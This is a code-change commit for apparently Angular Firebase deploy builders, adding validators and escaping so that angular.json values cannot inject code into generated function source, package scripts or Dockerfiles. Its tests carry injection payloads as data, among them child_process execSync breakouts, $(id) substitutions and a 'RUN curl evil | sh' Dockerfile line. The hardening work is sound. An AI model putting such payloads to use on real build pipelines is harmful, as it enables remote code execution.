fix(deploy): prevent code-generation injection from angular.json values

The SSR deploy builders interpolate several angular.json values into generated
artifacts that are later executed: a server build target's outputPath into the
Cloud Function index.js and the package.json start script, functionName into the
exports assignment, region into the .region() call, and functionsNodeVersion into
the Cloud Run Dockerfile FROM line.

outputPath, functionName and functionsNodeVersion are screened before code
generation (assertSafeOutputPath, assertSafeFunctionName, assertSafeNodeVersion);
region is escaped structurally with JSON.stringify in the template. functionName
is only screened on the Functions path, where it becomes a JavaScript identifier.

The functionName and region schema patterns are left to #3726, which already
carries stricter versions of both, and the serviceId TODO above the gcloud calls
is narrowed to firebaseProject and vpcConnector, since that pattern now covers the
service ID. The functionsNodeVersion schema pattern stays here.

Author: herdiyana256

src/schematics/deploy/actions.jasmine.ts

@@ -1,9 +1,10 @@
 /* eslint-disable @typescript-eslint/no-empty-function */
 import { join } from 'path';
+import { Script } from 'vm';
 import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
 import { JsonObject, logging } from '@angular-devkit/core';
 import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
-import deploy, { deployToFunction } from './actions.js'
+import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js'
 import 'jasmine';
 
 let context: BuilderContext;
@@ -300,3 +301,115 @@ describe('universal deployment', () => {
     expect(spy).not.toHaveBeenCalled();
   });*/
 });
+
+describe('deploy codegen input validation (injection hardening)', () => {
+  describe('assertSafeOutputPath', () => {
+    ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => {
+      it(`allows the valid outputPath "${p}"`, () => {
+        expect(assertSafeOutputPath(p, 'proj:server')).toBe(p);
+      });
+    });
+
+    [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => {
+      it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => {
+        expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/);
+      });
+    });
+  });
+
+  describe('assertSafeNodeVersion', () => {
+    [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => {
+      it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => {
+        expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow();
+      });
+    });
+
+    ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => {
+      it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => {
+        expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/);
+      });
+    });
+  });
+
+  describe('assertSafeFunctionName', () => {
+    [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => {
+      it(`allows the valid functionName ${JSON.stringify(n)}`, () => {
+        expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow();
+      });
+    });
+
+    [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => {
+      it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => {
+        expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/);
+      });
+    });
+  });
+});
+
+// These drive the builders end-to-end so the protection cannot be silently dropped:
+// each fails if the corresponding assert call is removed from deployToFunction /
+// deployToCloudRun, rather than only exercising the validators in isolation.
+describe('deploy codegen hardening is wired into the builders', () => {
+  beforeEach(() => initMocks());
+
+  const withServerOutputPath = (outputPath: string) => ((target: Target) => {
+    if (target.target === 'build') { return { outputPath: 'dist/browser' }; }
+    if (target.target === 'server') { return { outputPath }; }
+    return undefined;
+  }) as unknown as BuilderContext['getTargetOptions'];
+
+  const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`;
+
+  it('deployToFunction rejects a hostile server outputPath', async () => {
+    context.getTargetOptions = withServerOutputPath(EVIL_PATH);
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a server outputPath that starts with a dash', async () => {
+    context.getTargetOptions = withServerOutputPath('-rf');
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a functionName that is not a plain identifier', async () => {
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` },
+      undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionName/);
+  });
+
+  it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => {
+    const spy = spyOn(fsHost, 'writeFileSync');
+    const region = `us-central1'); require('child_process').execSync('id'); ('`;
+    await deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, region }, undefined, fsHost
+    );
+    const indexJs = spy.calls.argsFor(1)[1] as string;
+    expect(indexJs).toContain(`.region(${JSON.stringify(region)})`);
+    // The payload survives only as data inside a string literal: compiling the source
+    // (without running it) still parses, so nothing broke out of the literal.
+    expect(() => new Script(indexJs)).not.toThrow();
+  });
+
+  it('deployToCloudRun rejects a hostile server outputPath', async () => {
+    context.getTargetOptions = withServerOutputPath(EVIL_PATH);
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => {
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
+  });
+});

src/schematics/deploy/actions.ts

@@ -64,6 +64,45 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;
 
 const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
 
+// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
+// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
+// and into the generated package.json start script (`node <path>/main.js`), both of which
+// are later executed. Reject values carrying quotes, backslashes, newlines or shell
+// metacharacters, which could break out of that string literal or command, and reject a
+// leading dash, which the start script's `node <path>/main.js` would read as a flag.
+export const assertSafeOutputPath = (outputPath: string, targetName: string): string => {
+  if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath) || outputPath.startsWith('-')) {
+    throw new SchematicsException(
+      `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
+    );
+  }
+  return outputPath;
+};
+
+// functionName is interpolated raw into the generated Cloud Function source as the
+// `exports.<name>` assignment target (functions-templates.ts), which is executed when the
+// function loads. Allow only a plain JavaScript identifier so it cannot introduce further
+// statements; this also turns a name that would silently produce an unparseable file (for
+// example one containing a dash) into an explicit error.
+export const assertSafeFunctionName = (functionName: string | undefined): void => {
+  if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) {
+    throw new SchematicsException(
+      `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.`
+    );
+  }
+};
+
+// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
+// (`FROM node:<version>-slim`), executed during the Cloud Run container build. Restrict it
+// to a plain version so it cannot inject extra Dockerfile instructions.
+export const assertSafeNodeVersion = (version: string | number | undefined): void => {
+  if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) {
+    throw new SchematicsException(
+      `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.`
+    );
+  }
+};
+
 const moveSync = (src: string, dest: string) => {
   copySync(src, dest);
   removeSync(src);
@@ -178,18 +217,21 @@ export const deployToFunction = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
     throw new Error(
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
 
   const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut);
+  assertSafeFunctionName(options.functionName);
   const functionName = options.functionName || DEFAULT_FUNCTION_NAME;
 
   const newStaticOut = join(functionsOut, staticBuildOptions.outputPath);
@@ -297,13 +339,15 @@ export const deployToCloudRun = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
     throw new Error(
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -336,6 +380,7 @@ export const deployToCloudRun = async (
     JSON.stringify(packageJson, null, 2),
   );
 
+  assertSafeNodeVersion(options.functionsNodeVersion);
   fsHost.writeFileSync(
     join(cloudRunOut, 'Dockerfile'),
     dockerfile(options)
@@ -368,7 +413,7 @@ export const deployToCloudRun = async (
   if (cloudRunOptions.timeout) { deployArguments.push('--timeout', cloudRunOptions.timeout); }
   if (cloudRunOptions.vpcConnector) { deployArguments.push('--vpc-connector', cloudRunOptions.vpcConnector); }
 
-  // TODO validate serviceId, firebaseProject, and vpcConnector both to limit errors and opp for injection
+  // TODO validate firebaseProject and vpcConnector both to limit errors and opp for injection
 
   context.logger.info(`📦 Deploying to Cloud Run`);
   await spawnAsync(`gcloud builds submit ${cloudRunOut} --tag gcr.io/${options.firebaseProject}/${serviceId} --project ${options.firebaseProject} --quiet`);

src/schematics/deploy/functions-templates.ts

@@ -42,7 +42,7 @@ require("firebase-functions/logger/compat");
 const expressApp = require('./${path}/main').app();
 
 exports.${functionName || DEFAULT_FUNCTION_NAME} = functions
-  .region('${options.region || DEFAULT_FUNCTION_REGION}')
+  .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)})
   .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)})
   .https
   .onRequest(expressApp);

src/schematics/deploy/schema.json

@@ -55,6 +55,7 @@
     },
     "functionsNodeVersion": {
       "oneOf": [{ "type": "number" }, { "type": "string" }],
+      "pattern": "^\\d+(\\.\\d+)*$",
       "description": "Version of Node.js to run Cloud Functions / Run on"
     },
     "CF3v2": {